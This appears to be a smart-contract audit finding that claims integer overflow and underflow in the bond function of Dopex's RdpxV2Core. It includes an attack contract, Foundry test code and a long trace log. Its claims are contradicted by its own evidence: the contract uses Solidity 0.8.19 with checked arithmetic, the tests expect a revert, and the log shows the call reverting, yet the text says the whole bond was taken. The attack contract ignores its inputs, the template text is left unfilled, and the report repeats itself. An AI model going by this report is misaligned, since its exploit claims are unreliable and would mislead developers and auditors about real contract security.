Detailed description of the impact of this finding.
On line 916 I have found integer overflow in the bond function.
And on line 924 I have found integer underflow in the bond function.
I've identified an instance of integer overflow within the bond function of the RdpxV2Core contract.
This flaw enables me to manipulate the uint256 value in a way that results in its reduction to zero.
Consequently, I can exploit this situation to make a bond transfer exceeding my actual balance.
I've discovered an integer underflow within the same bond function.
This vulnerability enables me to manipulate the uint256 value in a manner that causes it to wrap around to the maximum value.
As a result, I can exploit this situation to bond transfer an amount greater than what I actually possess.
Proof of Concept
Provide direct links to all referenced code in GitHub.
Add screenshots, logs, or any other relevant proof that illustrates the concept.
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;
import {RdpxV2Core} from "./RdpxV2Core.sol";
contract RdpxV2CoreAttack {
RdpxV2Core public to;
function attack(uint256 _amount, uint256 rdpxBondId, RdpxV2Core _to) external payable {
to = RdpxV2Core(_to);
to.bond(msg.value, msg.value, address(_to));
}
}
Foundry Exploit Overflow
contract Admin is ERC721Holder, Setup {
function testAdminFunctions() public {...
// Test the revert
vm.prank(address(3));
vm.expectRevert(
stdError.arithmeticError
);
rdpxV2Core.bond(uint256(1)+uint256(115792089237316195423570985008687907853269984665640564039457584007913129639935)
, uint256(1)+uint256(115792089237316195423570985008687907853269984665640564039457584007913129639935)
, address(this));
}
}
Foundry Exploit Underflow
contract Admin is ERC721Holder, Setup {
function testAdminFunctions() public {...
// Test the revert
vm.prank(address(3));
vm.expectRevert(
stdError.arithmeticError
);
rdpxV2Core.bond(uint256(1)-uint256(2)
, uint256(1)-uint256(2)
, address(100));
vm.stopPrank();
...
}
Test Case Foundry
Deploy function and variables above to the Admin.t.sol file in the Admin contract.
In the terminal run: forge test -vvvv --match-path "tests/rdpxV2-core/Admin.t.sol"
Overflow has occurred and the entire bond taken.
Log Underflow
2023-08-dopex % forge test -vvvv --match-path "tests/rdpxV2-core/Admin.t.sol" --match-test "testAdminFunctions"
[⠘] Compiling...
[⠃] Compiling 1 files with 0.8.19
[⠰] Solc 0.8.19 finished in 8.34s
Compiler run successful!
Lines of code
https://github.com/code-423n4/2023-08-dopex/blob/0ea4387a4851cd6c8811dfb61da95a677f3f63ae/contracts/core/RdpxV2Core.sol#L916 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L924
Vulnerability details
Impact
Detailed description of the impact of this finding. On line 916 I have found integer overflow in the bond function. And on line 924 I have found integer underflow in the bond function. I've identified an instance of integer overflow within the bond function of the RdpxV2Core contract. This flaw enables me to manipulate the uint256 value in a way that results in its reduction to zero. Consequently, I can exploit this situation to make a bond transfer exceeding my actual balance. I've discovered an integer underflow within the same bond function. This vulnerability enables me to manipulate the uint256 value in a manner that causes it to wrap around to the maximum value. As a result, I can exploit this situation to bond transfer an amount greater than what I actually possess.
Proof of Concept
Provide direct links to all referenced code in GitHub.
Add screenshots, logs, or any other relevant proof that illustrates the concept.
Foundry Exploit Overflow
Foundry Exploit Underflow
Test Case Foundry
Log Underflow
Running 1 test for tests/rdpxV2-core/Admin.t.sol:Admin [PASS] testAdminFunctions() (gas: 333919) Traces: [333919] Admin::testAdminFunctions() ├─ [39942] RdpxV2Core::sync() │ ├─ [2583] MockToken::balanceOf(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) [staticcall] │ │ └─ ← 0 │ ├─ [2583] MockToken::balanceOf(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) [staticcall] │ │ └─ ← 0 │ ├─ [2630] DpxEthToken::balanceOf(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) [staticcall] │ │ └─ ← 0 │ ├─ emit LogSync() │ └─ ← () ├─ [53452] RdpxV2Core::setAddresses(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, RdpxDecayingBonds: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7], PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], RdpxReserve: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x0000000000000000000000000000000000000064, ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], RdpxV2Bond: [0xa0Cb889707d426A7A386870A03bc70d1b0697598]) │ ├─ [4781] MockToken::approve(PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ │ ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001 │ ├─ [4781] MockToken::approve(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ │ ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001 │ ├─ [4781] MockToken::approve(0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ │ ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001 │ ├─ [4781] MockToken::approve(MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ │ ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001 │ ├─ emit LogSetAddresses(addresses: (0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7, 0x212224D2F2d262cd093eE13240ca4873fcCBbA3C, 0xD16d567549A2a2a2005aEACf7fB193851603dd70, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, 0xc7183455a4C133Ae270771860664b6B7ec320bB1, 0x0000000000000000000000000000000000000064, 0x1d1499e622D69689cdf9004d05Ec547d650Ff211, 0xa0Cb889707d426A7A386870A03bc70d1b0697598)) │ └─ ← () ├─ [6931] RdpxV2Core::setPricingOracleAddresses(MockRdpxEthPriceOracle: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], MockDpxEthPriceOracle: [0x15cF58144EF33af1e14b5208015d11F9143E27b9]) │ ├─ emit LogSetPricingOracleAddresses(pricingOracleAddresses: (0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF, 0x15cF58144EF33af1e14b5208015d11F9143E27b9)) │ └─ ← () ├─ [0] VM::prank(0x0000000000000000000000000000000000000003) │ └─ ← () ├─ [0] VM::expectRevert(Custom Error 41636365:(0x63636F756e742030783030303030303030303030, 21796157974083048550319244236929488537086114760591164995662604048548403112307 [2.179e76], 14667325280639933498427913388466843804652015369071366470990611073976885063728)) │ └─ ← () ├─ [33245] RdpxV2Core::setAddresses(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, RdpxDecayingBonds: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7], PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], RdpxReserve: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x0000000000000000000000000000000000000064, ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], RdpxV2Bond: [0xa0Cb889707d426A7A386870A03bc70d1b0697598]) │ └─ ← "AccessControl: account 0x0000000000000000000000000000000000000003 is missing role 0x0000000000000000000000000000000000000000000000000000000000000000" ├─ [24469] RdpxV2Core::addToContractWhitelist(DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) │ ├─ emit AddToContractWhitelist(_contract: DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) │ └─ ← () ├─ [583] RdpxV2Core::whitelistedContracts(DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← true ├─ [0] VM::prank(0x0000000000000000000000000000000000000003) │ └─ ← () ├─ [0] VM::expectRevert(Custom Error 41636365:(0x63636F756e742030783030303030303030303030, 21796157974083048550319244236929488537086114760591164995662604048548403112307 [2.179e76], 14667325280639933498427913388466843804652015369071366470990611073976885063728)) │ └─ ← () ├─ [32312] RdpxV2Core::addToContractWhitelist(DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) │ └─ ← "AccessControl: account 0x0000000000000000000000000000000000000003 is missing role 0x0000000000000000000000000000000000000000000000000000000000000000" ├─ [1946] RdpxV2Core::removeFromContractWhitelist(DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) │ ├─ emit RemoveFromContractWhitelist(_contract: DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) │ └─ ← () ├─ [583] RdpxV2Core::whitelistedContracts(DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← false ├─ [0] VM::prank(0x0000000000000000000000000000000000000003) │ └─ ← () ├─ [0] VM::expectRevert(Custom Error 41636365:(0x63636F756e742030783030303030303030303030, 21796157974083048550319244236929488537086114760591164995662604048548403112307 [2.179e76], 14667325280639933498427913388466843804652015369071366470990611073976885063728)) │ └─ ← () ├─ [32313] RdpxV2Core::removeFromContractWhitelist(DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) │ └─ ← "AccessControl: account 0x0000000000000000000000000000000000000003 is missing role 0x0000000000000000000000000000000000000000000000000000000000000000" ├─ [6830] RdpxV2Core::setBondDiscount(500000 [5e5]) │ ├─ emit LogSetBondDiscountFactor(bondDiscountFactor: 500000 [5e5]) │ └─ ← () ├─ [427] RdpxV2Core::bondDiscountFactor() [staticcall] │ └─ ← 500000 [5e5] ├─ [0] VM::prank(0x0000000000000000000000000000000000000003) │ └─ ← () ├─ [0] VM::expectRevert(Custom Error 41636365:(0x63636F756e742030783030303030303030303030, 21796157974083048550319244236929488537086114760591164995662604048548403112307 [2.179e76], 14667325280639933498427913388466843804652015369071366470990611073976885063728)) │ └─ ← () ├─ [32260] RdpxV2Core::setBondDiscount(500000 [5e5]) │ └─ ← "AccessControl: account 0x0000000000000000000000000000000000000003 is missing role 0x0000000000000000000000000000000000000000000000000000000000000000" ├─ [6865] RdpxV2Core::setSlippageTolerance(10) │ ├─ emit LogSetSlippageTolerance(slippageTolerance: 10) │ └─ ← () ├─ [429] RdpxV2Core::slippageTolerance() [staticcall] │ └─ ← 10 ├─ [0] VM::prank(0x0000000000000000000000000000000000000003) │ └─ ← () ├─ [0] VM::expectRevert(Custom Error 41636365:(0x63636F756e742030783030303030303030303030, 21796157974083048550319244236929488537086114760591164995662604048548403112307 [2.179e76], 14667325280639933498427913388466843804652015369071366470990611073976885063728)) │ └─ ← () ├─ [32306] RdpxV2Core::setSlippageTolerance(10) │ └─ ← "AccessControl: account 0x0000000000000000000000000000000000000003 is missing role 0x0000000000000000000000000000000000000000000000000000000000000000" ├─ [0] VM::prank(0x0000000000000000000000000000000000000003) │ └─ ← () ├─ [0] VM::expectRevert(Arithmetic over/underflow) │ └─ ← () └─ ← "Arithmetic over/underflow"
Test result: ok. 1 passed; 0 failed; finished in 828.93ms
Tools Used
VS Code. Foundry. Mythx.
Recommended Mitigation Steps
Use safeMath.
Assessed type
Under/Overflow